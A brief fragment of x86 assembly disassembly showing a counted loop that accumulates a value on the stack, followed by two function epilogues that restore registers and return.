jl 0x421260
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x421251
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret